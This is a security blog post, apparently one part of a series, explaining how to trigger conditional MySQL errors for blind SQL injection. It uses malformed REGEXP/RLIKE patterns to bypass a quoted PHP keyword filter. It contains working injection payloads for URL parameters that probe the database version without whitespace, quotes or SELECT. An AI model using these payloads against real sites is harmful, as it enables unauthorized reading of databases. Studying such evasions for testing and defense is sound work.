If you encounter keyword filtering it is more than likely that timing is forbidden because of DoS possibilities. On the other hand using conditional errors is just faster and more accurate.
The most common documented error for SQLi usage is a devision by zero.

?id=if(1=1, CAST(1/0 AS char), 1)

However this throws an error only on PostgreSQL and Oracle (and some old MSSQL DBMS) but not on MySQL. A known alternative to cause a conditional error under MySQL is to use a subquery with more than one row in return:

?id=if(1=1, (select table_name from information_schema.tables), 1)

Because the result of the subquery is compared to a single value it is necessary that only one value is returned. A SELECT on all rows of information_schema.tables will return more than one value and this will result in the following error:

Subquery returns more than 1 row

Accordingly our vulnerable webapp will output “Error” and indicate if the condition (1=1) was true or false. Note that we have to know a table and column name to use this technique.

conditional errors with regex

Until yesterday I did not knew of any other way to throw a conditional error under MySQL (if you know any other, please leave a comment!) and from time to time I was stuck exploiting hard filtered SQL Injections where I could not use timing or known conditional errors because I could not access information_schema or any other table. A new way to trigger conditional errors under MySQL can be achieved by using regular expressions (regex).
Regexes are often used to prevent SQL injections, just like in my bad filter examples (which you should never use for real applications). But also for attackers a regex can be very useful. MySQL supports regex by the keyword REGEXP or its synonym RLIKE.

SELECT id,title,content FROM news WHERE content REGEXP '[a-f0-9]{32}'

The interesting part for a SQL Injection is that an error in the regular expression will result in a MySQL error as well. Here are some examples:

SELECT 1 REGEXP ''
Got error 'empty (sub)expression' from regexp
SELECT 1 REGEXP '('
Got error 'parentheses not balanced' from regexp
SELECT 1 REGEXP '['
Got error 'brackets ([ ]) not balanced' from regexp
SELECT 1 REGEXP '|'
Got error 'empty (sub)expression' from regexp
SELECT 1 REGEXP '\\'
Got error 'trailing backslash (\)' from regexp
SELECT 1 REGEXP '*', '?', '+', '{1'
Got error 'repetition-operator operand invalid' from regexp
SELECT 1 REGEXP 'a{1,1,1}'
Got error 'invalid repetition count(s)' from regexp

This can be used to build conditional errors loading an incorrect regular expression depending on our statement. The following injection will check if the MySQL version is 5 or not:

?id=(select(1)rlike(case(substr(@@version,1,1)=5)when(true)then(0x28)else(1)end))

If the condition is true a incorrect hex encoded regular expression is evaluated and an error is thrown. But in this case we could also have used a subselect error as above if we know a table name. Now consider a similar filter introduced in my previous post:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(into|file)/i', $id))
	exit('attack'); // no file operation
if(preg_match('/(benchmark|sleep)/i', $id)) 
	exit('attack'); // no timing

The first highlighted filter avoids using the known conditional error because we can not use subselects. The last two highlighted filters prevents us from using time delays or files as a side channel. However the new technique with REGEXP does not need a SELECT to trigger a conditional error because we inject into a WHERE statement and MySQL allows a comparison of three operands:

?id=(1)rlike(if(mid(@@version,1,1)like(5),0x28,1))

If the first char of the version is ‘5’ then the regex ‘(‘ will be compared to 1 and an error occurs because of unbalanced parenthesis. Otherwise the regex ‘1’ will be evaluated correctly and no error occurs. Again we have everything we need to retrieve data from the database and to have fun with regex filter evasions by regex errors.

More:
Part 1, Part 3, SQLi filter evasion cheatsheet


Follow

Get every new post delivered to your Inbox.

Join 80 other followers